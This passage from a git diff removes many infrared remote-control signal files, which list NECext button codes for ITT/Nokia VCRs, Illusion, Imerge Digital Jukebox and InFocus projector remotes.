31 00 00 00 -command: 1F 00 00 00 -# -name: SET_TIMER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 42 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: TAPE_REMAINING -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 45 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 47 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 48 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 51 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 53 00 00 00 -# -name: ADD_INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 54 00 00 00 -# -name: DELETE_INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 55 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 57 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 58 00 00 00 -# -name: ART -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 59 00 00 00 -# -name: TV_3X3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir deleted file mode 100644 index c08ba40ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: AUTOREWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 16 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: COUNTER_MEM -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: TAPEREMAIN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 45 00 00 00 -# -name: PROGRAM_CHECK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 47 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 48 00 00 00 -# -name: AUDIO_DUBBING -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 49 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: MARK_INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 54 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 80 00 00 00 -# -name: TX_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 90 00 00 00 -# -name: EXP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 91 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 92 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 93 00 00 00 -# -name: CUR_R -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 94 00 00 00 -# -name: CUR_L -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 95 00 00 00 -# -name: CUR_DN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 96 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 97 00 00 00 -# -name: VPT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9C 00 00 00 -# -name: CODE_LIST -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 -# -name: TITLE_REC -type: parsed -protocol: NECext -address: 31 00 00 00 -command: DC 00 00 00 -# -name: SETCLK? -type: parsed -protocol: NECext -address: 31 00 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir deleted file mode 100644 index 842b0afe0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY_ON-OFF -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir deleted file mode 100644 index e230bcc85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 16 00 00 00 -# -name: cycle -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: vps -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir deleted file mode 100644 index 22436a6fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 09 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 0C 00 00 00 -# -name: f_left -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 0F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 12 00 00 00 -# -name: tick/audio -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 13 00 00 00 -# -name: tv/r -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 14 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 16 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 17 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 18 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 19 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 21 00 00 00 -# -name: f_right -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 24 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 26 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 27 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 29 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 2A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 37 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 38 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 39 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 3A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir deleted file mode 100644 index 3261f8ac2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: OUTPUT_SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 18 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: DEFAULT_OUTPUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir deleted file mode 100644 index 4939d54ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_1 -type: parsed -protocol: NECext -address: A1 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir deleted file mode 100644 index fb239ef9e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir deleted file mode 100644 index 87a91760e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir deleted file mode 100644 index de8d45ec0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_4 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir deleted file mode 100644 index df502f3e8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_5 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir deleted file mode 100644 index 988b74766..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_6 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir deleted file mode 100644 index 9a903499a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: CD 00 00 00 -# -name: 2A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: CE 00 00 00 -# -name: 3A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: CF 00 00 00 -# -name: 4A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D0 00 00 00 -# -name: 5A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D1 00 00 00 -# -name: 6A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D2 00 00 00 -# -name: 7A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D3 00 00 00 -# -name: 8A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D4 00 00 00 -# -name: 9A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D5 00 00 00 -# -name: 0A -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D6 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BF 00 00 00 -command: D8 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BF 00 00 00 -command: DA 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: DB 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BF 00 00 00 -command: DD 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BF 00 00 00 -command: DE 00 00 00 -# -name: SELECT_ALBUM -type: parsed -protocol: NECext -address: BF 00 00 00 -command: E3 00 00 00 -# -name: SELECT_PLAYLIST -type: parsed -protocol: NECext -address: BF 00 00 00 -command: E7 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BF 00 00 00 -command: E8 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BF 00 00 00 -command: E9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir deleted file mode 100644 index 9f43cc0f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: CD 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: CE 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: CF 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D0 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D1 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D2 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D3 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D4 00 00 00 -# -name: 9B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D5 00 00 00 -# -name: 0B -type: parsed -protocol: NECext -address: FF 00 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir deleted file mode 100644 index 7ddef0df4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 56 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 59 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 90 00 00 00 -# -name: 